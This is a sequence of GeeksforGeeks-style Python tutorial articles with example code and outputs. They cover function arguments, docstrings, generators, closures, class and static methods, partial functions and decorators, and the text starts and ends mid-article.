# *args for variable number of arguments
 
 
def myFun(*argv):
    for arg in argv:
        print(arg)
 
 
myFun('Hello', 'Welcome', 'to', 'GeeksforGeeks')
Output
Hello
Welcome
to
GeeksforGeeks

Example 2: Variable length keyword arguments

Python3




# Python program to illustrate
# *kwargs for variable number of keyword arguments
 
 
def myFun(**kwargs):
    for key, value in kwargs.items():
        print("%s == %s" % (key, value))
 
 
# Driver code
myFun(first='Geeks', mid='for', last='Geeks')
Output
first == Geeks
mid == for
last == Geeks

Docstring

The first string after the function is called the Document string or Docstring in short. This is used to describe the functionality of the function. The use of docstring in functions is optional but it is considered a good practice.

The below syntax can be used to print out the docstring of a function:

Syntax: print(function_name.__doc__)

Example: Adding Docstring to the function

Python3




# A simple Python function to check
# whether x is even or odd
 
 
def evenOdd(x):
    """Function to check if the number is even or odd"""
     
    if (x % 2 == 0):
        print("even")
    else:
        print("odd")
 
 
# Driver code to call the function
print(evenOdd.__doc__)
Output
Function to check if the number is even or odd

The return statement

The function return statement is used to exit from a function and go back to the function caller and return the specified value or data item to the caller.

Syntax: return [expression_list]

The return statement can consist of a variable, an expression, or a constant which is returned to the end of the function execution. If none of the above is present with the return statement a None object is returned.

Example: Python Function Return Statement

Python3




def square_value(num):
    """This function returns the square
    value of the entered number"""
    return num**2
 
 
print(square_value(2))
print(square_value(-4))

Output:

4
16

Is Python Function Pass by Reference or pass by value? 

One important thing to note is, in Python every variable name is a reference. When we pass a variable to a function, a new reference to the object is created. Parameter passing in Python is the same as reference passing in Java.

Example:

Python3




# Here x is a new reference to same list lst
def myFun(x):
    x[0] = 20
 
 
# Driver Code (Note that lst is modified
# after function call.
lst = [10, 11, 12, 13, 14, 15]
myFun(lst)
print(lst)
Output
[20, 11, 12, 13, 14, 15]

When we pass a reference and change the received reference to something else, the connection between the passed and received parameter is broken. For example, consider the below program.
 

Python3




def myFun(x):
 
    # After below line link of x with previous
    # object gets broken. A new object is assigned
    # to x.
    x = [20, 30, 40]
 
 
# Driver Code (Note that lst is not modified
# after function call.
lst = [10, 11, 12, 13, 14, 15]
myFun(lst)
print(lst)
Output
[10, 11, 12, 13, 14, 15]

Another example to demonstrate that the reference link is broken if we assign a new value (inside the function). 

Python3




def myFun(x):
 
    # After below line link of x with previous
    # object gets broken. A new object is assigned
    # to x.
    x = 20
 
 
# Driver Code (Note that lst is not modified
# after function call.
x = 10
myFun(x)
print(x)
Output
10

Exercise: Try to guess the output of the following code. 

Python3




def swap(x, y):
    temp = x
    x = y
    y = temp
 
 
# Driver code
x = 2
y = 3
swap(x, y)
print(x)
print(y)
Output
2
3

Anonymous functions: 

In Python, an anonymous function means that a function is without a name. As we already know the def keyword is used to define the normal functions and the lambda keyword is used to create anonymous functions. Please see this for details.

Python3




# Python code to illustrate the cube of a number
# using lambda function
 
 
def cube(x): return x*x*x
 
cube_v2 = lambda x : x*x*x
 
print(cube(7))
print(cube_v2(7))
Output
343

Python Function within Functions

A function that is defined inside another function is known as the inner function or nested function. Nested functions are able to access variables of the enclosing scope. Inner functions are used so that they can be protected from everything happening outside the function.

Python3




# Python program to
# demonstrate accessing of
# variables of nested functions
 
def f1():
    s = 'I love GeeksforGeeks'
     
    def f2():
        print(s)
         
    f2()
 
# Driver's code
f1()
Output
I love GeeksforGeeks

Quick Links : 


My Personal Notes arrow_drop_up

Class method vs Static method in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 24 Aug, 2021

Class Method

The @classmethod decorator is a built-in function decorator that is an expression that gets evaluated after your function is defined. The result of that evaluation shadows your function definition. 
A class method receives the class as an implicit first argument, just like an instance method receives the instance 
Syntax: 

class C(object):
    @classmethod
    def fun(cls, arg1, arg2, ...):
       ....
fun: function that needs to be converted into a class method
returns: a class method for function.

Static Method

A static method does not receive an implicit first argument. 

Syntax: 

class C(object):
    @staticmethod
    def fun(arg1, arg2, ...):
        ...
returns: a static method for function fun.

Class method vs Static Method

When to use what?

How to define a class method and a static method?

To define a class method in python, we use @classmethod decorator, and to define a static method we use @staticmethod decorator. 
Let us look at an example to understand the difference between both of them. Let us say we want to create a class Person. Now, python doesn’t support method overloading like C++ or Java so we use class methods to create factory methods. In the below example we use a class method to create a person object from birth year.
As explained above we use static methods to create utility functions. In the below example we use a static method to check if a person is an adult or not. 
 

Implementation 

Python3




# Python program to demonstrate
# use of class method and static method.
from datetime import date
  
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age
      
    # a class method to create a Person object by birth year.
    @classmethod
    def fromBirthYear(cls, name, year):
        return cls(name, date.today().year - year)
      
    # a static method to check if a Person is adult or not.
    @staticmethod
    def isAdult(age):
        return age > 18
  
person1 = Person('mayank', 21)
person2 = Person.fromBirthYear('mayank', 1996)
  
print (person1.age)
print (person2.age)
  
# print the result
print (Person.isAdult(22))

Output:

21
25
True

This article is contributed by Mayank Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

How to write an empty function in Python – pass statement?

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 04 May, 2016

In C/C++ and Java, we can write empty function as following

// An empty function in C/C++/Java
void fun() {  }

In Python, if we write something like following in Python, it would produce compiler error.




# Incorrect empty function in Python
def fun(): 

Output :

IndentationError: expected an indented block

In Python, to write empty functions, we use pass statement. pass is a special statement in Python that does nothing. It only works as a dummy statement.




# Correct way of writing empty function 
# in Python
def fun(): 
    pass

We can use pass in empty while statement also.




# Empty loop in Python
mutex = True
while (mutex == True) :
    pass

We can use pass in empty if else statements.




# Empty in if/else in Python
mutex = True
if (mutex == True) :
    pass
else :
    print("False")

This article is contributed by Shivam Gupta. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above


My Personal Notes arrow_drop_up

When to use yield instead of return in Python?

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 21 Jul, 2021

The yield statement suspends function’s execution and sends a value back to the caller, but retains enough state to enable function to resume where it is left off. When resumed, the function continues execution immediately after the last yield run. This allows its code to produce a series of values over time, rather than computing them at once and sending them back like a list.

Let’s see with an example:




# A Simple Python program to demonstrate working
# of yield
  
# A generator function that yields 1 for the first time,
# 2 second time and 3 third time
def simpleGeneratorFun():
    yield 1
    yield 2
    yield 3
  
# Driver code to check above generator function
for value in simpleGeneratorFun(): 
    print(value)

Output:

1
2
3

Return sends a specified value back to its caller whereas Yield can produce a sequence of values. We should use yield when we want to iterate over a sequence, but don’t want to store the entire sequence in memory.

Yield are used in Python generators. A generator function is defined like a normal function, but whenever it needs to generate a value, it does so with the yield keyword rather than return. If the body of a def contains yield, the function automatically becomes a generator function.




# A Python program to generate squares from 1
# to 100 using yield and therefore generator
  
# An infinite generator function that prints
# next square number. It starts with 1
def nextSquare():
    i = 1
  
    # An Infinite loop to generate squares 
    while True:
        yield i*i                
        i += 1  # Next execution resumes 
                # from this point     
  
# Driver code to test above generator 
# function
for num in nextSquare():
    if num > 100:
         break    
    print(num)

Output:

1
4
9
16
25
36
49
64
81
100

This article is contributed by Arpit Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above


My Personal Notes arrow_drop_up

Returning Multiple Values in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 25 Nov, 2020

In Python, we can return multiple values from a function. Following are different ways

1) Using Object: This is similar to C/C++ and Java, we can create a class (in C, struct) to hold multiple values and return an object of the class.




# A Python program to return multiple 
# values from a method using class
class Test:
    def __init__(self):
        self.str = "geeksforgeeks"
        self.x = 20   
  
# This function returns an object of Test
def fun():
    return Test()
      
# Driver code to test above method
t = fun() 
print(t.str)
print(t.x)

Output:

geeksforgeeks
20

Below are interesting methods for somebody shifting C++/Java world.

 

2) Using Tuple: A Tuple is a comma separated sequence of items. It is created with or without (). Tuples are immutable. See this for details of tuple and list.




# A Python program to return multiple 
# values from a method using tuple
  
# This function returns a tuple
def fun():
    str = "geeksforgeeks"
    x   = 20
    return str, x;  # Return tuple, we could also
                    # write (str, x)
  
# Driver code to test above method
str, x = fun() # Assign returned tuple
print(str)
print(x)

Output:

geeksforgeeks
20

 

3) Using a list: A list is like an array of items created using square brackets. They are different from arrays as they can contain items of different types. Lists are different from tuples as they are mutable.




# A Python program to return multiple 
# values from a method using list
  
# This function returns a list
def fun():
    str = "geeksforgeeks"
    x = 20   
    return [str, x];  
  
# Driver code to test above method
list = fun() 
print(list)

Output:

['geeksforgeeks', 20]

 

4) Using a Dictionary: A Dictionary is similar to hash or map in other languages. See this for details of dictionary.




# A Python program to return multiple 
# values from a method using dictionary
  
# This function returns a dictionary
def fun():
    d = dict(); 
    d['str'] = "GeeksforGeeks"
    d['x']   = 20
    return d
  
# Driver code to test above method
d = fun() 
print(d)

Output:

{'x': 20, 'str': 'GeeksforGeeks'}

 
5) Using Data Class (Python 3.7+): In Python 3.7 and above the Data Class can be used to return a class with automatically added unique methods. The Data Class module has a decorator and functions for automatically adding generated special methods such as __init__() and __repr__() in the user-defined classes.




from dataclasses import dataclass
  
@dataclass
class Book_list:
    name: str
    perunit_cost: float
    quantity_available: int = 0
          
    # function to calculate total cost    
    def total_cost(self) -> float:
        return self.perunit_cost * self.quantity_available
      
book = Book_list("Introduction to programming.", 300, 3)
x = book.total_cost()
  
# print the total cost
# of the book
print(x)
  
# print book details
print(book)
  
# 900
Book_list(name='Python programming.',
          perunit_cost=200,
          quantity_available=3)

Output:

900
Book_list(name='Introduction to programming.', perunit_cost=300, quantity_available=3)
Book_list(name='Python programming.', perunit_cost=200, quantity_available=3)

Reference:
http://stackoverflow.com/questions/354883/how-do-you-return-multiple-values-in-python

This article is contributed by Shubham Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above


My Personal Notes arrow_drop_up

Partial Functions in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 10 Feb, 2020

Partial functions allow us to fix a certain number of arguments of a function and generate a new function.

Example:




from functools import partial
  
# A normal function
def f(a, b, c, x):
    return 1000*a + 100*b + 10*c + x
  
# A partial function that calls f with
# a as 3, b as 1 and c as 4.
g = partial(f, 3, 1, 4)
  
# Calling g()
print(g(5))

Output:

3145

In the example we have pre-filled our function with some constant values of a, b and c. And g() just takes a single argument i.e. the variable x.

Another Example :




from functools import *
  
# A normal function
def add(a, b, c):
    return 100 * a + 10 * b + c
  
# A partial function with b = 1 and c = 2
add_part = partial(add, c = 2, b = 1)
  
# Calling partial function
print(add_part(3))

Output:

312

This article is contributed by Mayank Rawat .If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

First Class functions in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 25 Nov, 2020


First class objects in a language are handled uniformly throughout. They may be stored in data structures, passed as arguments, or used in control structures. A programming language is said to support first-class functions if it treats functions as first-class objects. Python supports the concept of First Class functions.

Properties of first class functions:

Examples illustrating First Class functions in Python

1. Functions are objects: Python functions are first class objects. In the example below, we are assigning function to a variable. This assignment doesn’t call the function. It takes the function object referenced by shout and creates a second name pointing to it, yell.




# Python program to illustrate functions
# can be treated as objects
def shout(text):
    return text.upper()
  
print (shout('Hello'))
  
yell = shout
  
print (yell('Hello'))

Output:

HELLO
HELLO

2. Functions can be passed as arguments to other functions: Because functions are objects we can pass them as arguments to other functions. Functions that can accept other functions as arguments are also called higher-order functions. In the example below, we have created a function greet which takes a function as an argument.




# Python program to illustrate functions
# can be passed as arguments to other functions
def shout(text):
    return text.upper()
  
def whisper(text):
    return text.lower()
  
def greet(func):
    # storing the function in a variable
    greeting = func("""Hi, I am created by a function
                    passed as an argument.""")
    print (greeting) 
  
greet(shout)
greet(whisper)

Output

HI, I AM CREATED BY A FUNCTION PASSED AS AN ARGUMENT.
hi, i am created by a function passed as an argument.

3. Functions can return another function: Because functions are objects we can return a function from another function. In the below example, the create_adder function returns adder function.




# Python program to illustrate functions
# Functions can return another function
  
def create_adder(x):
    def adder(y):
        return x+y
  
    return adder
  
add_15 = create_adder(15)
  
print (add_15(10))

Output:

25

This article is contributed by Mayank Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Precision Handling in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 03 Aug, 2021

Python in its definition allows handling the precision of floating-point numbers in several ways using different functions. Most of them are defined under the “math” module. Some of the most used operations are discussed in this article.

  1. trunc():- This function is used to eliminate all decimal parts of the floating-point number and return the integer without the decimal part.
  2.  ceil():- This function is used to print the least integer greater than the given number.
  3. floor():- This function is used to print the greatest integer smaller than the given integer.
     

Python3




# Python code to demonstrate ceil(), trunc()
# and floor()
 
# importing "math" for precision function
import math
 
# initializing value
a = 3.4536
 
# using trunc() to print integer after truncating
print("The integral value of number is : ", end="")
print(math.trunc(a))
 
# using ceil() to print number after ceiling
print("The smallest integer greater than number is : ", end="")
print(math.ceil(a))
 
# using floor() to print number after flooring
print("The greatest integer smaller than number is : ", end="")
print(math.floor(a))

Output : 
 

The integral value of number is : 3
The smallest integer greater than number is : 4
The greatest integer smaller than number is : 3

 

Setting Precision

There are many ways to set the precision of the floating-point values. Some of them are discussed below.

  1. Using “%”:- “%” operator is used to format as well as set precision in python. This is similar to “printf” statement in C programming.
  2.  Using format():- This is yet another way to format the string for setting precision.
  3.  Using round(x,n):- This function takes 2 arguments, number, and the number till which we want decimal part rounded.
     

Python3




# Python code to demonstrate precision
# and round()
 
# initializing value
a = 3.4536
 
# using "%" to print value till 2 decimal places
print ("The value of number till 2 decimal place(using %) is : ",end="")
print ('%.2f'%a)
 
# using format() to print value till 2 decimal places
print ("The value of number till 2 decimal place(using format()) is : ",end="")
print ("{0:.2f}".format(a))
 
# using round() to print value till 2 decimal places
print ("The value of number till 2 decimal place(using round()) is : ",end="")
print (round(a,2))

Output : 

The value of number till 2 decimal place(using %) is : 3.45
The value of number till 2 decimal place(using format()) is : 3.45
The value of number till 2 decimal place(using round()) is : 3.45

This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

*args and **kwargs in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 18 May, 2022

In Python, we can pass a variable number of arguments to a function using special symbols. There are two special symbols:

Special Symbols Used for passing arguments:-

1.)*args (Non-Keyword Arguments)

2.)**kwargs (Keyword Arguments)

Note: “We use the “wildcard” or “*” notation like this – *args OR **kwargs – as our function’s argument when we have doubts about the number of  arguments we should pass in a function.” 

Python-Foundation-Course

1.) *args

The special syntax *args in function definitions in python is used to pass a variable number of arguments to a function. It is used to pass a non-key worded, variable-length argument list. 

python3




# Python program to illustrate  
# *args for variable number of arguments
def myFun(*argv): 
    for arg in argv: 
        print (arg)
    
myFun('Hello', 'Welcome', 'to', 'GeeksforGeeks'
Output: 
Hello
Welcome
to
GeeksforGeeks

 

Python3




# Python program to illustrate 
# *args with first extra argument
def myFun(arg1, *argv):
    print ("First argument :", arg1)
    for arg in argv:
        print("Next argument through *argv :", arg)
  
myFun('Hello', 'Welcome', 'to', 'GeeksforGeeks')
Output: 
First argument : Hello
Next argument through *argv : Welcome
Next argument through *argv : to
Next argument through *argv : GeeksforGeeks

 

 

2.)**kwargs

The special syntax **kwargs in function definitions in python is used to pass a keyworded, variable-length argument list. We use the name kwargs with the double star. The reason is because the double star allows us to pass through keyword arguments (and any number of them).

Example for usage of **kwargs: 

python




# Python program to illustrate  
# *kwargs for variable number of keyword arguments
  
def myFun(**kwargs): 
    for key, value in kwargs.items():
        print ("%s == %s" %(key, value))
  
# Driver code
myFun(first ='Geeks', mid ='for', last='Geeks')    
Output: 
last == Geeks
mid == for
first == Geeks

 

python




# Python program to illustrate  **kwargs for 
# variable number of keyword arguments with
# one extra argument.
  
def myFun(arg1, **kwargs): 
    for key, value in kwargs.items():
        print ("%s == %s" %(key, value))
  
# Driver code
myFun("Hi", first ='Geeks', mid ='for', last='Geeks')    
Output: 
last == Geeks
mid == for
first == Geeks

 

Using *args and **kwargs to call a function

Example:
 

python3




def myFun(arg1, arg2, arg3):
    print("arg1:", arg1)
    print("arg2:", arg2)
    print("arg3:", arg3)
      
# Now we can use *args or **kwargs to
# pass arguments to this function : 
args = ("Geeks", "for", "Geeks")
myFun(*args)
  
kwargs = {"arg1" : "Geeks", "arg2" : "for", "arg3" : "Geeks"}
myFun(**kwargs)
Output: 
arg1: Geeks
arg2: for
arg3: Geeks
arg1: Geeks
arg2: for
arg3: Geeks

 

Using *args and **kwargs in same line to call a function

Example:
 

python3




def myFun(*args,**kwargs):
    print("args: ", args)
    print("kwargs: ", kwargs)
  
  
# Now we can use both *args ,**kwargs
# to pass arguments to this function :
myFun('geeks','for','geeks',first="Geeks",mid="for",last="Geeks")
Output: 
args: ('geeks', 'for', 'geeks')
kwargs {'first': 'Geeks', 'mid': 'for', 'last': 'Geeks'}

 

This article is contributed by Kishlay Verma. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Python Closures

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 27 Jan, 2022

Before seeing what a closure is, we have to first understand what nested functions and non-local variables are. 
 

Nested functions in Python

A function that is defined inside another function is known as a nested function. Nested functions are able to access variables of the enclosing scope. 
In Python, these non-local variables can be accessed only within their scope and not outside their scope. This can be illustrated by the following example: 

Python3




# Python program to illustrate
# nested functions
def outerFunction(text):
    text = text
 
    def innerFunction():
        print(text)
 
    innerFunction()
 
if __name__ == '__main__':
    outerFunction('Hey!')

As we can see innerFunction() can easily be accessed inside the outerFunction body but not outside of it’s body. Hence, here, innerFunction() is treated as nested Function which uses text as non-local variable.
 

Python Closures

A Closure is a function object that remembers values in enclosing scopes even if they are not present in memory. 
 

Python3




# Python program to illustrate
# closures
def outerFunction(text):
    text = text
 
    def innerFunction():
        print(text)
 
    # Note we are returning function
    # WITHOUT parenthesis
    return innerFunction 
 
if __name__ == '__main__':
    myFunction = outerFunction('Hey!')
    myFunction()
Output:
omkarpathak@omkarpathak-Inspiron-3542:
~/Documents/Python-Programs/$ python Closures.py 
Hey!
  1. As observed from the above code, closures help to invoke functions outside their scope.
  2. The function innerFunction has its scope only inside the outerFunction. But with the use of closures, we can easily extend its scope to invoke a function outside its scope.

Python3




# Python program to illustrate
# closures
import logging
logging.basicConfig(filename='example.log',
                    level=logging.INFO)
 
 
def logger(func):
    def log_func(*args):
        logging.info(
            'Running "{}" with arguments {}'.format(func.__name__,
                                                    args))
        print(func(*args))
         
    # Necessary for closure to
    # work (returning WITHOUT parenthesis)
    return log_func            
 
def add(x, y):
    return x+y
 
def sub(x, y):
    return x-y
 
add_logger = logger(add)
sub_logger = logger(sub)
 
add_logger(3, 3)
add_logger(4, 5)
 
sub_logger(10, 5)
sub_logger(20, 10)
OUTPUT:
omkarpathak@omkarpathak-Inspiron-3542:
~/Documents/Python-Programs/$ python MoreOnClosures.py 
6
9
5
10

When and why to use Closures:

1. As closures are used as callback functions, they provide some sort of data hiding. This helps us to reduce the use of global variables.

2.  When we have few functions in our code, closures prove to be an efficient way. But if we need to have many functions, then go for class (OOP).

This article is contributed by Omkar Pathak. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Function Decorators in Python | Set 1 (Introduction)

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 10 Nov, 2018

Background

Following are important facts about functions in Python that are useful to understand decorator functions.
  1. In Python, we can define a function inside another function.
  2. In Python, a function can be passed as parameter to another function (a function can also return another function).




# A Python program to demonstrate that a function
# can be defined inside another function and a
# function can be passed as parameter.
  
# Adds a welcome message to the string
def messageWithWelcome(str):
  
    # Nested function
    def addWelcome():
        return "Welcome to "
  
    # Return concatenation of addWelcome()
    # and str.
    return  addWelcome() + str
  
# To get site name to which welcome is added
def site(site_name):
    return site_name
  
print messageWithWelcome(site("GeeksforGeeks"))

Output:

Welcome to GeeksforGeeks

Function Decorator

A decorator is a function that takes a function as its only parameter and returns a function. This is helpful to “wrap” functionality with the same code over and over again. For example, above code can be re-written as following.

We use @func_name to specify a decorator to be applied on another function.




# Adds a welcome message to the string
# returned by fun(). Takes fun() as
# parameter and returns welcome().
def decorate_message(fun):
  
    # Nested function
    def addWelcome(site_name):
        return "Welcome to " + fun(site_name)
  
    # Decorator returns a function
    return addWelcome
  
@decorate_message
def site(site_name):
    return site_name;
  
# Driver code
  
# This call is equivalent to call to
# decorate_message() with function
# site("GeeksforGeeks") as parameter
print site("GeeksforGeeks")

Output:

Welcome to GeeksforGeeks

Decorators can also be useful to attach data (or add attribute) to functions.




# A Python example to demonstrate that
# decorators can be useful attach data
  
# A decorator function to attach
# data to func
def attach_data(func):
       func.data = 3
       return func
  
@attach_data
def add (x, y):
       return x + y
  
# Driver code
  
# This call is equivalent to attach_data()
# with add() as parameter
print(add(2, 3))
  
print(add.data)

Output:

5
3

‘add()’ returns sum of x and y passed as arguments but it is wrapped by a decorator function, calling add(2, 3) would simply give sum of two numbers but when we call add.data then ‘add’ function is passed into then decorator function ‘attach_data’ as argument and this function returns ‘add’ function with an attribute ‘data’ that is set to 3 and hence prints it.

Python decorators are a powerful tool to remove redundancy.

Please refer Decorators in Python for more details.

This article is contributed by Shwetanshu Rohatgi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above


My Personal Notes arrow_drop_up

Decorators in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 16 Dec, 2021

Decorators are a very powerful and useful tool in Python since it allows programmers to modify the behaviour of function or class. Decorators allow us to wrap another function in order to extend the behaviour of the wrapped function, without permanently modifying it. But before diving deep into decorators let us understand some concepts that will come in handy in learning the decorators.

First Class Objects
In Python, functions are first class objects that mean that functions in Python can be used or passed as arguments.
Properties of first class functions:

Consider the below examples for better understanding.

Example 1: Treating the functions as objects. 

Python3




# Python program to illustrate functions
# can be treated as objects
def shout(text):
    return text.upper()
 
print(shout('Hello'))
 
yell = shout
 
print(yell('Hello'))

Output:

HELLO
HELLO

In the above example, we have assigned the function shout to a variable. This will not call the function instead it takes the function object referenced by a shout and creates a second name pointing to it, yell.

Example 2: Passing the function as an argument 

Python3




# Python program to illustrate functions
# can be passed as arguments to other functions
def shout(text):
    return text.upper()
 
def whisper(text):
    return text.lower()
 
def greet(func):
    # storing the function in a variable
    greeting = func("""Hi, I am created by a function passed as an argument.""")
    print (greeting)
 
greet(shout)
greet(whisper)

Output:

HI, I AM CREATED BY A FUNCTION PASSED AS AN ARGUMENT.
hi, i am created by a function passed as an argument.

In the above example, the greet function takes another function as a parameter (shout and whisper in this case). The function passed as an argument is then called inside the function greet.

Example 3: Returning functions from another function.

Python3




# Python program to illustrate functions
# Functions can return another function
 
def create_adder(x):
    def adder(y):
        return x+y
 
    return adder
 
add_15 = create_adder(15)
 
print(add_15(10))

Output:

25

In the above example, we have created a function inside of another function and then have returned the function created inside.
The above three examples depict the important concepts that are needed to understand decorators. After going through them let us now dive deep into decorators.

Decorators

As stated above the decorators are used to modify the behaviour of function or class. In Decorators, functions are taken as the argument into another function and then called inside the wrapper function.

Syntax for Decorator: 

@gfg_decorator
def hello_decorator():
    print("Gfg")

'''Above code is equivalent to -

def hello_decorator():
    print("Gfg")
    
hello_decorator = gfg_decorator(hello_decorator)'''

In the above code, gfg_decorator is a callable function, will add some code on the top of some another callable function, hello_decorator function and return the wrapper function.

Decorator can modify the behaviour:  

Python3




# defining a decorator
def hello_decorator(func):
 
    # inner1 is a Wrapper function in
    # which the argument is called
     
    # inner function can access the outer local
    # functions like in this case "func"
    def inner1():
        print("Hello, this is before function execution")
 
        # calling the actual function now
        # inside the wrapper function.
        func()
 
        print("This is after function execution")
         
    return inner1
 
 
# defining a function, to be called inside wrapper
def function_to_be_used():
    print("This is inside the function !!")
 
 
# passing 'function_to_be_used' inside the
# decorator to control its behaviour
function_to_be_used = hello_decorator(function_to_be_used)
 
 
# calling the function
function_to_be_used()

Output: 

Hello, this is before function execution
This is inside the function !!
This is after function execution

Let’s see the behaviour of the above code how it runs step by step when the “function_to_be_used” is called.


Let’s jump to another example where we can easily find out the execution time of a function using a decorator.

Python3




# importing libraries
import time
import math
 
# decorator to calculate duration
# taken by any function.
def calculate_time(func):
     
    # added arguments inside the inner1,
    # if function takes any arguments,
    # can be added like this.
    def inner1(*args, **kwargs):
 
        # storing time before function execution
        begin = time.time()
         
        func(*args, **kwargs)
 
        # storing time after function execution
        end = time.time()
        print("Total time taken in : ", func.__name__, end - begin)
 
    return inner1
 
 
 
# this can be added to any function present,
# in this case to calculate a factorial
@calculate_time
def factorial(num):
 
    # sleep 2 seconds because it takes very less time
    # so that you can see the actual difference
    time.sleep(2)
    print(math.factorial(num))
 
# calling the function.
factorial(10)

Output: 

3628800
Total time taken in :  factorial 2.0061802864074707

What if a function returns something or an argument is passed to the function?

In all the above examples the functions didn’t return anything so there wasn’t any issue, but one may need the returned value.

Python3




def hello_decorator(func):
    def inner1(*args, **kwargs):
         
        print("before Execution")
         
        # getting the returned value
        returned_value = func(*args, **kwargs)
        print("after Execution")
         
        # returning the value to the original frame
        return returned_value
         
    return inner1
 
 
# adding decorator to the function
@hello_decorator
def sum_two_numbers(a, b):
    print("Inside the function")
    return a + b
 
a, b = 1, 2
 
# getting the value through return of the function
print("Sum =", sum_two_numbers(a, b))

Output: 

before Execution
Inside the function
after Execution
Sum = 3

In the above example, you may notice a keen difference in the parameters of the inner function. The inner function takes the argument as *args and **kwargs which means that a tuple of positional arguments or a dictionary of keyword arguments can be passed of any length. This makes it a general decorator that can decorate a function having any number of arguments.

Chaining Decorators

In simpler terms chaining decorators means decorating a function with multiple decorators.

Example: 

Python3




# code for testing decorator chaining
def decor1(func):
    def inner():
        x = func()
        return x * x
    return inner
 
def decor(func):
    def inner():
        x = func()
        return 2 * x
    return inner
 
@decor1
@decor
def num():
    return 10
 
print(num())

Output:

400

The above example is similar to calling the function as –

decor1(decor(num))

 


My Personal Notes arrow_drop_up

Decorators with parameters in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Hard
  • Last Updated : 17 Nov, 2021

Prerequisite: Decorators in Python, Function Decorators

We know Decorators are a very powerful and useful tool in Python since it allows programmers to modify the behavior of function or class. In this article, we will learn about the Decorators with Parameters with help of multiple examples. 
Python functions are First Class citizens which means that functions can be treated similarly to objects. 
 

Decorators with parameters is similar to normal decorators.
 

The syntax for decorators with parameters :

@decorator(params)
def func_name():
    ''' Function implementation'''

The above code is equivalent to 

def func_name():
    ''' Function implementation'''

func_name = (decorator(params))(func_name)
"""

As the execution starts from left to right decorator(params) is called which returns a function object fun_obj. Using the fun_obj the call fun_obj(fun_name) is made. Inside the inner function, required operations are performed and the actual function reference is returned which will be assigned to func_name. Now, func_name() can be used to call the function with decorator applied on it.
 

How Decorator with parameters is implemented 

Python3




def decorators(*args, **kwargs):
    def inner(func):
        '''
           do operations with func
        '''
        return func
    return inner #this is the fun_obj mentioned in the above content
 
@decorators(params)
def func():
    """
         function implementation
    """

Here params can also be empty.
 

Observe these first :

Python3




# Python code to illustrate
# Decorators basic in Python
 
def decorator_fun(func):
  print("Inside decorator")
 
  def inner(*args, **kwargs):
    print("Inside inner function")
    print("Decorated the function")
    # do operations with func
     
    func()
     
  return inner
 
@decorator_fun
def func_to():
    print("Inside actual function")
 
func_to()

Another Way:
 

Python3




# Python code to illustrate
# Decorators with parameters in Python
 
def decorator_fun(func):
  print("Inside decorator")
 
  def inner(*args, **kwargs):
    print("Inside inner function")
    print("Decorated the function")
     
    func()
     
  return inner
 
 
def func_to():
    print("Inside actual function")
 
# another way of using decorators
decorator_fun(func_to)()

Output: 

Inside decorator
Inside inner function
Decorated the function
Inside actual function

  
Let’s move to another example:
 

Example #1: 

Python3




# Python code to illustrate
# Decorators with parameters in Python
 
def decorator(*args, **kwargs):
    print("Inside decorator")
     
    def inner(func):
         
        # code functionality here
        print("Inside inner function")
        print("I like", kwargs['like'])
         
        func()
         
    # returning inner function   
    return inner
 
@decorator(like = "geeksforgeeks")
def my_func():
    print("Inside actual function")

Output: 
 

Inside decorator
Inside inner function
I like geeksforgeeks
Inside actual function

Example #2: 
 

Python3




# Python code to illustrate
# Decorators with parameters in Python
 
def decorator_func(x, y):
 
    def Inner(func):
 
        def wrapper(*args, **kwargs):
